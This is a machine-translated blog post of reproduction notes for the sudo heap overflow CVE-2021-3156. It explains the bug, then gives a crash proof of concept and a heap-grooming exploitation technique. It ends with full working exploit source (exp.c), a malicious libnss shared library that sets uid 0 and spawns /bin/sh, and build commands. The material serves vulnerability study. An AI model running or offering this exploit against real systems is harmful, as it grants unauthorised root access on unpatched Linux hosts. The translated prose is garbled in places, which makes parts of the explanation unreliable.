当前位置:网站首页>Cve-2021-3156 vulnerability recurrence notes
Cve-2021-3156 vulnerability recurrence notes
2022-07-07 05:33:00 【Ayakaaaa】
One 、 summary
CVE-2021-3156 The main cause of the vulnerability lies in sudo There is a heap based buffer overflow vulnerability in , When in class Unix When executing commands on the operating system of , Not root Users can use sudo Command to root Execute the command as a user . because sudo Incorrectly escaping backslashes in parameters resulted in Heap Buffer Overflow , This allows any local user ( Whether it's in or not sudoers In file ) get root jurisdiction , No authentication required , And the attacker does not need to know the user password
Two 、 Vulnerability introduction and environment construction
Vulnerability profile :
Hole number : CVE-2021-3156
Vulnerable products : sudo
Affects version :
1.8.2-1.8.31sp12;
1.9.0-1.9.5sp1
Use the consequences : Local rights
Vulnerability detection :
Users first use non root Account login system , And then execute
sudoedit -s /
If you return as shown in the figure with usage Error report at the beginning :
It means that the current system does not have this vulnerability or the vulnerability has been repaired
If you return as shown in the figure below, use sudoedit An error that begins with indicates that the system has this vulnerability :
Environment building :
Because of ubuntu The system has fixed this vulnerability , So choose the right one directly docker
docker Environmental Science : https://hub.docker.com/r/chenaotian/cve-2021-3156
This docker Provided in :
1. Self compiled adjustable source code sudo
2. With debugging symbol glibc
3.gdb and gdb plug-in unit pwngdb & pwndbg
4.exp.c And its successful compilation exp
This is of great help to our vulnerability analysis and vulnerability recurrence process , It allows us to spend more time and energy on the analysis and utilization of vulnerable code , Instead of being forced to match the environment .
First pull the mirror image
Then start docker, Check it out. sudo Version of :
Use the vulnerability detection method mentioned above to check whether this vulnerability exists :
Finally, check whether you can get through :
It's using id by 1000 Of test Account execution exp, After the execution, the user permission has become root, Successful claim , So far, all the preparations for the recurrence of vulnerabilities have been completed , Next, conduct vulnerability analysis
3、 ... and 、 Vulnerability analysis
First, let's analyze the vulnerability POC:
sudoedit -s '\' `python3 -c "print('A'*80)"`
You can see that it is a memory error , This vulnerability lies in sudo The backslash is not handled correctly . When using -s or -i When ,sudo Can escape special characters , But if you use -s or -i Parameters and sudoedit command , Special characters will not be escaped , This will cause a buffer overflow . You can see what we use poc Is the use of sudoedit Command and -s Parameters , Followed by a backslash plus python3 Command generated 80 individual A.
Next, let's go deep into sudo Go to the source code to see why such a line of command can cause buffer overflow , This will lead to the collapse of the program and even finally achieve the purpose of raising rights .
First look sudo.c Of 133 That's ok , That is to say main Function position
1.int parse_args(int argc, char **argv, int *nargc, char ***nargv,
2. struct sudo_settings **settingsp, char ***env_addp)
3.{
4. struct environment extra_env;
5. int mode = 0; /* what mode is sudo to be run in? */
6. int flags = 0; /* mode flags */
7. int valid_flags = DEFAULT_VALID_FLAGS;
8. int ch, i;
9. char *cp;
10. const char *runas_user = NULL;
11. const char *runas_group = NULL;
12. const char *progname;
13. int proglen;
14. debug_decl(parse_args, SUDO_DEBUG_ARGS)
15. ······
16. ······
17. /* First, check to see if we were invoked as "sudoedit". */
18. proglen = strlen(progname);
19. if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
20. progname = "sudoedit";
21. mode = MODE_EDIT;
22. sudo_settings[ARG_SUDOEDIT].value = "true";
23. }
24. ······
25. ······
26. case 's':
27. sudo_settings[ARG_USER_SHELL].value = "true";
28. SET(flags, MODE_SHELL);
29. break;
30. ······
31. ······
32.}
First parse_args It will detect the length of the executed command , If it is greater than 4 And the last four letters are edit, It means that the call is not sudo It is sudoedit, So will mode Set to MODE_EDIT, Then check the parameters , If the parameter is -s, Then put flags Set to MODE_SHELL
Follow up main function , And then it will execute policy_check function
Follow up :
1.static int policy_check(struct plugin_container *plugin, int argc, char * const argv[],
2. char *env_add[], char **command_info[], char **argv_out[],
3. char **user_env_out[])
4.{
5. int ret;
6. debug_decl(policy_check, SUDO_DEBUG_PCOMM)
7.
8. if (plugin->u.policy->check_policy == NULL) {
9. sudo_fatalx(U_("policy plugin %s is missing the `check_policy' method"),
10. plugin->name);
11. }
12. sudo_debug_set_active_instance(plugin->debug_instance);
13. ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
14. argv_out, user_env_out);
15. sudo_debug_set_active_instance(sudo_debug_instance);
16. debug_return_int(ret);
17.}
You will find that the program execution flow goes plugin->u.policy->check_policy(argc, argv, env_add, command_info,argv_out, user_env_out);
Continue to follow up , Because the virtual table is used here , Direct static is not very good-looking. You can get what function is called , So use gdb Dynamic debugging :
The breakpoint is on policy_check Function here , Then step in
You can see , there call The function actually calls sudoers_policy_check function , Let's see what the source code of this function looks like :
1.sudoers_policy_check(int argc, char * const argv[], char *env_add[],
2. char **command_infop[], char **argv_out[], char **user_env_out[])
3.{
4. struct sudoers_exec_args exec_args;
5. int ret;
6. debug_decl(sudoers_policy_check, SUDOERS_DEBUG_PLUGIN)
7.
8. if (!ISSET(sudo_mode, MODE_EDIT))
9. SET(sudo_mode, MODE_RUN);
10.
11. exec_args.argv = argv_out;
12. exec_args.envp = user_env_out;
13. exec_args.info = command_infop;
14.
15. ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
16. if (ret == true && sudo_version >= SUDO_API_MKVERSION(1, 3)) {
17. /* Unset close function if we don't need it to avoid extra process. */
18. if (!def_log_input && !def_log_output && !def_use_pty &&
19. !sudo_auth_needs_end_session())
20. sudoers_policy.close = NULL;
21. }
22. debug_return_int(ret);
23.}
The function is very short , Basically, set some variables , Then I called sudoers_policy_main function , Follow up to sudoers_policy_main Function :
1.int sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
2. void *closure)
3.{
4. ··· ···
5. ··· ···
6.
7. /* 8. * Make a local copy of argc/argv, with special handling 9. * for pseudo-commands and the '-i' option. 10. */
11. if (argc == 0) {
12. ··· ···
13. } else {
14. /* Must leave an extra slot before NewArgv for bash's --login */
15. NewArgc = argc;
16. NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
17. ··· ···
18. }
19. memcpy(++NewArgv, argv, argc * sizeof(char *));
20. NewArgv[NewArgc] = NULL;
21. ··· ···
22. }
23. }
24. ··· ···
25. cmnd_status = set_cmnd();
26. ··· ···
27. ··· ···
28. ··· ···
29.}
Because this function is long , Only some noteworthy operations are selected here , Others are replaced by ellipsis
First, I passed some parameters , And then call set_cmnd, I am here gdb The command used when adjusting is sudoedit -s ‘\’ aaaaaaaa
Look at the party call set_cmnd When NewArgc and NewArgv What is the value of
Now let's see set_cmnd What did you do
1.static int
2.set_cmnd(void)
3.{
4. ··· ···
5. ··· ···
6.
7. /* set user_args */
8. if (NewArgc > 1) {
9. char *to, *from, **av;
10. size_t size, n;
11.
12. /* Alloc and build up user_args. */
13. // Calculate according to the total length of the parameter size, follow-up malloc apply , No problem
14. for (size = 0, av = NewArgv + 1; *av; av++)
15. size += strlen(*av) + 1;
16. if (size == 0 || (user_args = malloc(size)) == NULL) {
17. sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
18. debug_return_int(-1);
19. }
20. if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
21. /* 22. * When running a command via a shell, the sudo front-end 23. * escapes potential meta chars. We unescape non-spaces 24. * for sudoers matching and logging purposes. 25. */
26. // Copy all parameters together and put them in the heap , Logic is to encounter '\' Add non space type characters, and only copy non space characters
27. // But here \x00 It is not a space type character
28. // He doesn't consider parameters if there is only one '\' Or to '\' The end and the next two characters are followed by another string
29. for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
30. while (*from) {
31. if (from[0] == '\\' && !isspace((unsigned char)from[1]))
32. from++;
33. *to++ = *from++;
34. }
35. *to++ = ' ';
36. }
37. *--to = '\0';
38. }
39. ··· ···
40. }
41. }
42. ··· ···
43. ··· ···
44.}
It also omits some code that does not need to be analyzed
Come here , We finally came to the overflow point , The parameters we input are stored in the heap here , We cut this code into small pieces to analyze its intention
The first is to apply for memory :
1.for (size = 0, av = NewArgv + 1; *av; av++)
2. size += strlen(*av) + 1;
3. if (size == 0 || (user_args = malloc(size)) == NULL) {
4. sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
5. debug_return_int(-1);
6. }
7.
Here we calculate the length of each parameter , Then add them together , Get one size, then malloc(size), The intention here is obvious , Just calculate how much space is needed to install all the parameters , Then apply , The pointer is given to user_args
Next is the copy part :
1.for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
2. while (*from) {
3. if (from[0] == '\\' && !isspace((unsigned char)from[1]))
4. from++;
5. *to++ = *from++;
6. }
7. *to++ = ' ';
8. }
9. *--to = '\0';
Here is the loophole , It takes out every parameter , Give Way from The pointer points to the parameter content ,to The pointer points to heap memory , Then judge if it is a backslash + The structure of non space characters , Just copy the last character , Do not copy backslashes . Parameters are separated by spaces .
Here, let's pay close attention to NewArgv How to save our parameters , It's still the picture just now
But this time we focus on the address , You can see NewArgv[0] There's a place ,NewArgv[1] And later parameters will be continuously stored in another place , Intermediate use \x00 Separate
You can also see by directly checking the memory :
Now consider this special case , If there is a parameter with only one backslash , Then according to the flow in the above code , Because of the backslash +\x00 Meet the backslash + The condition of non space characters , therefore from++, And then \x00 Copy to heap memory ,from Again ++, Have you found any problems , here from Has pointed to the next parameter , And how the program distinguishes between different parameters ?
by while The judgment condition in the loop , According to \x00 To judge , So this judgment is bypassed directly , Let the program copy two parameters continuously , And the backslash parameter is copied , The next parameter will be copied again , about sudoedit -s ‘\’ AAAAAAAA Come on , It is equivalent to copying the program AAAAAAAA two , But apply for memory calculation size Only one was calculated AAAAAAAA, So it leads to heap overflow , The reason why this vulnerability is highly harmful is that the content of heap overflow is completely controllable by users , That is why it is possible to make further use of it, such as raising rights .
The path that triggers the vulnerability can be summarized as :
sudo.c : main
sudo.c : policy_check
policy.c : sudoerrs_policy_check
sudoers.c : sudoers_policy_main
sudoers.c : set_cmnd
sudoers.c : 859
For the convenience of triggering vulnerabilities , I change the parameter to 0x10 individual A, Then go to calculation size That step :
You can see size by 19, That is, the length of the backslash 1+1+16 individual A+1, by 19 No problem , Next, go to the copy
Put this for End of cycle , Then look at the heap memory :
You can see that the heap structure has been destroyed , Original size by 19, So I will apply for a size of 0x20 Of chunk, That is to say 0x561d2f447e80 there chunk, But the copy 0x22 A byte goes in , So take the next chunk Of size It's covered , That's why gdb When analyzing the fast structure of the reactor 0x4141414141414141 Identified as size
Analysis here , The cause of the vulnerability has been thoroughly analyzed , Next, we will continue to focus on how to further exploit this vulnerability .
Four 、 Use technique analysis
This vulnerability exploitation method has certain heap layout difficulty , The final lifting is through heap overflow coverage nss_load_library Function load so The structure that needs to be used when service_user, Overwrite so Name string , In this way, the program can load the so file , To complete arbitrary code execution .
There are two things we need to do :
1. Make clear nss_load_library Function call process and related data structure mechanism
2.setlocale How to pass environment variables LC_* Perform heap layout
Exploit critical code snippets :
1.static int
2.nss_load_library (service_user *ni)
3.{
4. if (ni->library == NULL)
5. {
6. static name_database default_table;
7. ni->library = nss_new_service (service_table ?: &default_table,
8. ni->name);
9. if (ni->library == NULL)
10. return -1;
11. }
12.
13. if (ni->library->lib_handle == NULL)
14. {
15. ··· ···
16. __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
17. "libnss_"),
18. ni->name),
19. ".so"),
20. __nss_shlib_revision);
21.
22. ni->library->lib_handle = __libc_dlopen (shlib_name);
23. ··· ···
24. ··· ···
25. }
26.}
ni For the pile service_user Structure , When ni->library->lib_handle by NULL when , Will call __libc_dlopen Conduct so load , As long as we can pass heap overflow ni->library Overlay as 0, It will make the program call nss_new_service Function let ni Structure reinitialization , Just initialized ni->library->lib_handle It must be 0, So it will run to the following code block , Execute to __libc_dlopen function .
Here is the core code of vulnerability exploitation , Next, we consider how to achieve accurate heap overflow coverage ni Structure , So that's the point nss Mechanism , First /etc/ There is a file in the directory /etc/nsswitch.conf, Let's see what's written inside
It stipulates that the program is looking for so What kind of approach and sequence should be adopted when using methods
Then let's look at the contents of the three structures
1.typedef struct service_user
2.{
3. /* And the link to the next entry. */
4. struct service_user *next;
5. /* Action according to result. */
6. lookup_actions actions[5];
7. /* Link to the underlying library object. */
8. service_library *library;
9. /* Collection of known functions. */
10. void *known;
11. /* Name of the service (`files', `dns', `nis', ...). */
12. char name[0];
13.} service_user;
14.
15.typedef struct name_database_entry
16.{
17. /* And the link to the next entry. */
18. struct name_database_entry *next;
19. /* List of service to be used. */
20. service_user *service;
21. /* Name of the database. */
22. char name[0];
23.} name_database_entry;
24.
25.typedef struct name_database
26.{
27. /* List of all known databases. */
28. name_database_entry *entry;
29. /* List of libraries with service implementation. */
30. service_library *library;
31.} name_database;
stay __nss_database_lookup Function , If the global entry service_table It's empty , It will call nss_parse_file To initialize , The relevant code is as follows :
1.int
2.__nss_database_lookup (const char *database, const char *alternate_name,
3. const char *defconfig, service_user **ni)
4.{
5. ··· ···
6. /* Are we initialized yet? */
7. if (service_table == NULL)
8. /* Read config file. */
9. service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
10. ··· ···
11.}
And keep looking nss_parse_file How is it realized :
1.static name_database *
2.nss_parse_file (const char *fname)
3.{
4. FILE *fp;
5. name_database *result;
6. name_database_entry *last;
7. ··· ···
8. // open /etc/nsswitch.conf
9. fp = fopen (fname, "rce");
10. ··· ···
11. result = (name_database *) malloc (sizeof (name_database));
12. ··· ···
13. do
14. {
15. name_database_entry *this;
16. ssize_t n;
17. n = __getline (&line, &len, fp);// getline Here will apply for one 0x80 The size of chunk
18.
19. ··· ···
20.
21. this = nss_getline (line);
22. if (this != NULL)
23. {
24. if (last != NULL)
25. last->next = this;
26. else
27. result->entry = this;
28.
29. last = this;
30. }
31. }
32. while (!feof_unlocked (fp));
33.
34. /* Free the buffer. */
35. free (line); // Before the function returns getline Function application 0x80 chunk release .
36. /* Close configuration file. */
37. fclose (fp);
38.
39. return result;
}
Let's sort out the program logic here , The program will open /etc/nsswitch.conf, file , Read in the content and build a heap structure based on the content , Finally, the following structure is formed :
These seven chunk It is applied in the same function at one time
besides , It is worth noting that , stay nss_parse_file There's a function __getline function , This function will apply for one according to the length of the read content chunk, And this chunk At the end nss_parse_file Function is released when it returns . because /etc/nsswitch.conf The longest line in the content format is the comment , And we can't control the file , So it can be thought that every time __getline Function chunk The length is the same , Fixed for 0x80 size .
So we can understand it as , This is a service Previously applied for the linked list , also service The linked list structure will be released after application , And in vuln chunk It can still be maintained before applying free Status is a very valuable chunk.
After analyzing this function , We have to know how to trigger it , When you need to call some , When searching the function of user or host information , The following process will be performed :
1.void *
2.__nss_lookup_function (service_user *ni, const char *fct_name)
3.{
4. ··· ···
5.
6. found = __tsearch (&fct_name, &ni->known, &known_compare);
7. ··· ···// Some operations not found are omitted
8.
9. else
10. {
11. known_function *known = malloc (sizeof *known);
12. ··· ···
13. else
14. {
15. // call nss_load_library, Check ni->library->lib_handle Is it empty , If it is empty, restart dlopen
16. // Specifically nss_load_library See the code above
17. ··· ···
18. if (nss_load_library (ni) != 0)
19. /* This only happens when out of memory. */
20. goto remove_from_tree;
21.
22. if (ni->library->lib_handle == (void *) -1l)
23. /* Library not found => function not found. */
24. result = NULL;
25. else
26. {
27. ··· ···
28.
29. /* Construct the function name. */
30. __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
31. ni->name),
32. "_"),
33. fct_name);
34.
35. /* Look up the symbol. */
36. result = __libc_dlsym (ni->library->lib_handle, name);
37. }
38.
39. ··· ···
40. ··· ···
41.
42. }
43. ···
44. return result;
45.}
libc_hidden_def (__nss_lookup_function)
You can see that it is here that the nss_load_library (ni), That is, as long as you call libnss_xx.so The function in , Will call nss_load_library To search . Just know after the heap overflow occurs , The first to be called libnss Which function does the related function belong to so, Then, the stack layout will so Of service_user Structure layout to vuln chunk Just behind
After analyzing the principle of arbitrary code execution , Let's talk about how to make heap layout , Only through reasonable heap layout , To successfully overflow to the corresponding structure without modifying other normal structures . Here's a way :setlocale
setlocale Heap mechanism of , The key is one sentence , According to what you want to release chunk Enter the environment variable of this length in sequence , It can ensure the release sequence and the relationship between them , But these chunk Not closely connected
Setlocale It is used to set the locale , There are several environment variable parameters , stay sudo Is used in setlocale(LC_ALL,“”); When the input parameter is LC_ALL when , From LC_IDENTIFICATION Start traversing all variables forward . For each call _nl_find_locale function , This function is more complicated , But returned newnames[category] In fact, it is the value of the corresponding environment variable , Will be called next strdup Function copies the string to the heap . Because the incoming is LC_ALL , Then a corresponding string array will be generated , Next, it will be verified with the default value of the global variable , If the check fails , Then it will be released ( It's easy to construct a failed input ).
in other words , We can construct some failure inputs of reasonable length , Realize any number of heap applications and heap releases of any length , This is very helpful for our heap layout .
Finally, find the first call after heap overflow nss The function in , Find the corresponding number according to this figure chunk:
Then calculate the total length of the parameter , Give Way sudo Apply to our arranged chunk, And let the next nss Function application chunk be in sudo Applied chunk Below , And then use it sudo Heap overflow coverage caused service_user The structure can ,name stay service_user Structure offset 0x30 The location of , Cover it with our own .so Of name Arbitrary code execution can be realized
1.#include<stdio.h>
2.#include<string.h>
3.#include<stdlib.h>
4.#include<math.h>
5.
6.#define __LC_CTYPE 0
7.#define __LC_NUMERIC 1
8.#define __LC_TIME 2
9.#define __LC_COLLATE 3
10.#define __LC_MONETARY 4
11.#define __LC_MESSAGES 5
12.#define __LC_ALL 6
13.#define __LC_PAPER 7
14.#define __LC_NAME 8
15.#define __LC_ADDRESS 9
16.#define __LC_TELEPHONE 10
17.#define __LC_MEASUREMENT 11
18.#define __LC_IDENTIFICATION 12
19.
20.char * envName[13]={
"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE
21.PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
22.
23.int now=13;
24.int envnow=0;
25.int argvnow=0;
26.char * envp[0x300];
27.char * argv[0x300];
28.char * addChunk(int size)
29.{
30. now --;
31. char * result;
32. if(now ==6)
33. {
34. now --;
35. }
36. if(now>=0)
37. {
38. result=malloc(size+0x20);
39. strcpy(result,envName[now]);
40. strcat(result,"[email protected]");
41. for(int i=9;i<=size-0x17;i++)
42. strcat(result,"A");
43. envp[envnow++]=result;
44. }
45. return result;
46.}
47.
48.void final()
49.{
50. now --;
51. char * result;
52. if(now ==6)
53. {
54. now --;
55. }
56. if(now>=0)
57. {
58. result=malloc(0x100);
59. strcpy(result,envName[now]);
60. strcat(result,"=xxxxxxxxxxxxxxxxxxxxx");
61. envp[envnow++]=result;
62. }
63.}
64.
65.int setargv(int size,int offset)
66.{
67. size-=0x10;
68. signed int x,y;
69. signed int a=-3;
70. signed int b=2*size-3;
71. signed int c=2*size-2-offset*2;
72. signed int tmp=b*b-4*a*c;
73. if(tmp<0)
74. return -1;
75. tmp=(signed int)sqrt((double)tmp*1.0);
76. signed int A=(0-b+tmp)/(2*a);
77. signed int B=(0-b-tmp)/(2*a);
78. if(A<0 && B<0)
79. return -1;
80. if((A>0 && B<0) || (A<0 && B>0))
81. x=(A>0) ? A: B;
82. if(A>0 && B > 0)
83. x=(A<B) ? A : B;
84. y=size-1-x*2;
85. int len=x+y+(x+y+y+1)*x/2;
86.
87. while ((signed int)(offset-len)<2)
88. {
89. x--;
90. y=size-1-x*2;
91. len=x+y+(x+y+1)*x/2;
92. if(x<0)
93. return -1;
94. }
95. int envoff=offset-len-2+0x30;
96. printf("%d,%d,%d\n",x,y,len);
97. char * Astring=malloc(size);
98. int i=0;
99. for(i=0;i<y;i++)
100. Astring[i]='A';
101. Astring[i]='\x00';
102.
103. argv[argvnow++]="sudoedit";
104. argv[argvnow++]="-s";
105. for (i=0;i<x;i++)
106. argv[argvnow++]="\\";
107. argv[argvnow++]=Astring;
108. argv[argvnow++]="\\";
109. argv[argvnow++]=NULL;
110. for(i=0;i<envoff;i++)
111. envp[envnow++]="\\";
112. envp[envnow++]="X/test";
113. return 0;
114.}
115.
116.int main()
117.{
118. setargv(0xa0,0x650);
119. addChunk(0x40);
120. addChunk(0x40);
121. addChunk(0xa0);
122. addChunk(0x40);
123. final();
124.
125. execve("/usr/local/bin/sudoedit",argv,envp);
126.}
1.#include <unistd.h>
2.#include <stdio.h>
3.#include <stdlib.h>
4.#include <string.h>
5.
6.static void __attribute__ ((constructor)) _init(void);
7.
8.static void _init(void) {
9. printf("[+] bl1ng bl1ng! We got it!\n");
10.#ifndef BRUTE
11. setuid(0); seteuid(0); setgid(0); setegid(0);
12. static char *a_argv[] = {
"sh", NULL };
13. static char *a_envp[] = {
"PATH=/bin:/usr/bin:/sbin", NULL };
14. execv("/bin/sh", a_argv);
15.#endif
16.}
Compile command :
1.mkdir libnss_X
2.gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2
3.gcc exp.c -o exp
边栏推荐
- The year of the tiger is coming. Come and make a wish. I heard that the wish will come true
- [JS component] custom select
- [opencv] image morphological operation opencv marks the positions of different connected domains
- Design, configuration and points for attention of network specified source multicast (SSM) simulation using OPNET
- 数字化如何影响工作流程自动化
- 利用OPNET进行网络单播(一服务器多客户端)仿真的设计、配置及注意点
- Two methods of thread synchronization
- 论文阅读【Semantic Tag Augmented XlanV Model for Video Captioning】
- “多模态”概念
- 高压漏电继电器BLD-20
猜你喜欢
[JS component] custom select
LabVIEW is opening a new reference, indicating that the memory is full
Egr-20uscm ground fault relay
AOSP ~binder communication principle (I) - Overview
[JS component] date display.
Dj-zbs2 leakage relay
Phenomenon analysis when Autowired annotation is used for list
1. AVL tree: left-right rotation -bite
Safe landing practice of software supply chain under salesforce containerized ISV scenario
Y58. Chapter III kubernetes from entry to proficiency - continuous integration and deployment (Sany)
随机推荐
Annotation初体验
Knapsack problem (01 knapsack, complete knapsack, dynamic programming)
Design, configuration and points for attention of network specified source multicast (SSM) simulation using OPNET
How can project managers counter attack with NPDP certificates? Look here
Knapsack problem unrelated to profit (depth first search)
Mysql database learning (8) -- MySQL content supplement
TabLayout修改自定义的Tab标题不生效问题
Initial experience of annotation
JHOK-ZBG2漏电继电器
JVM (XX) -- performance monitoring and tuning (I) -- Overview
10 distributed databases that take you to the galaxy
人体传感器好不好用?怎么用?Aqara绿米、小米之间到底买哪个
[JS component] custom select
Auto. JS get all app names of mobile phones
sql优化常用技巧及理解
利用OPNET进行网络仿真时网络层协议(以QoS为例)的使用、配置及注意点
利用OPNET进行网络任意源组播(ASM)仿真的设计、配置及注意点
Full link voltage test: the dispute between shadow database and shadow table
CentOS 7.9 installing Oracle 21C Adventures
Addressable pre Download